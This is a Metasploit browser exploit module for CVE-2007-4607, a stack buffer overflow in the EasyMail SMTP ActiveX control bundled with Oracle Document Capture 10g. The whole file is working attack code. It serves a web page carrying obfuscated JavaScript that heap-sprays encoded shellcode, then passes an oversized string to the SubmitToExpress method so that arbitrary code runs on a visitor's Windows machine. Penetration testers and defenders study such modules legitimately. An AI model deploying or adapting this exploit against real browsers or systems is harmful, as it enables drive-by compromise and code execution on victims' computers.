text: ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
  
    include Msf::Exploit::Remote::HttpServer::HTML
  
    def initialize(info = {})
      super(update_info(info,
        'Name'           => 'Oracle Document Capture 10g ActiveX Control Buffer Overflow',
        'Description'    => %q{
            This module exploits a stack buffer overflow in Oracle Document Capture 10g (10.1.3.5.0).
          Oracle Document Capture 10g comes bundled with a third party ActiveX control
          emsmtp.dll (6.0.1.0). When passing an overly long string to the method "SubmitToExpress"
          an attacker may be able to execute arbitrary code.
        },
        'License'        => MSF_LICENSE,
        'Author'         => [ 'MC' ],
        'References'     =>
          [
            [ 'CVE', '2007-4607' ],
            [ 'OSVDB', '38335' ],
            [ 'BID', '25467' ],
            [ 'US-CERT-VU', '281977' ],
          ],
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'process',
          },
        'Payload'        =>
          {
            'Space'         => 1024,
            'BadChars'      => "\x00",
          },
        'Platform'       => 'win',
        'Targets'        =>
          [
            [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
          ],
        'DisclosureDate' => 'Aug 28 2009',
        'DefaultTarget'  => 0))
  
      register_options(
        [
          OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
        ])
    end
  
    def autofilter
      false
    end
  
    def check_dependencies
      use_zlib
    end
  
    def on_request_uri(cli, request)
      # Re-generate the payload.
      return if ((p = regenerate_payload(cli)) == nil)
  
      # fluff..
      fluff = rand_text_english(rand(20) + 1)
  
      # Encode the shellcode.
      shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  
      js = %Q|
        try {
          var evil_string = "";
          var index;
          // CLSID:68AC0D5F-0424-11D5-822F-00C04F6BA8D9
          var vulnerable = new ActiveXObject('EasyMail.SMTP.6');
          var my_unescape = unescape;
          var shellcode = '#{shellcode}';
          #{js_heap_spray}
          sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
          for (index = 0; index < 12500; index++) {
            evil_string = evil_string + my_unescape('%0a%0a%0a%0a');
          }
          vulnerable.SubmitToExpress(evil_string);
        } catch( e ) { window.location = 'about:blank' ; }
      |
  
      opts = {
        'Strings' => true,
        'Symbols' => {
          'Variables' => [
            'vulnerable',
            'shellcode',
            'my_unescape',
            'index',
            'evil_string',
          ]
        }
      }
      js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
      js.update_opts(js_heap_spray.opts)
      js.obfuscate(memory_sensitive: true)
      content = %Q|
        <html>
        <body>
          <script><!--
          #{js}
          //</script>
        </body>
        </html>
        |
  
      print_status("Sending #{self.name}")
  
      # Transmit the response to the client
      send_response_html(cli, content)
  
      # Handle the payload
      handler(cli)
    end
  end
  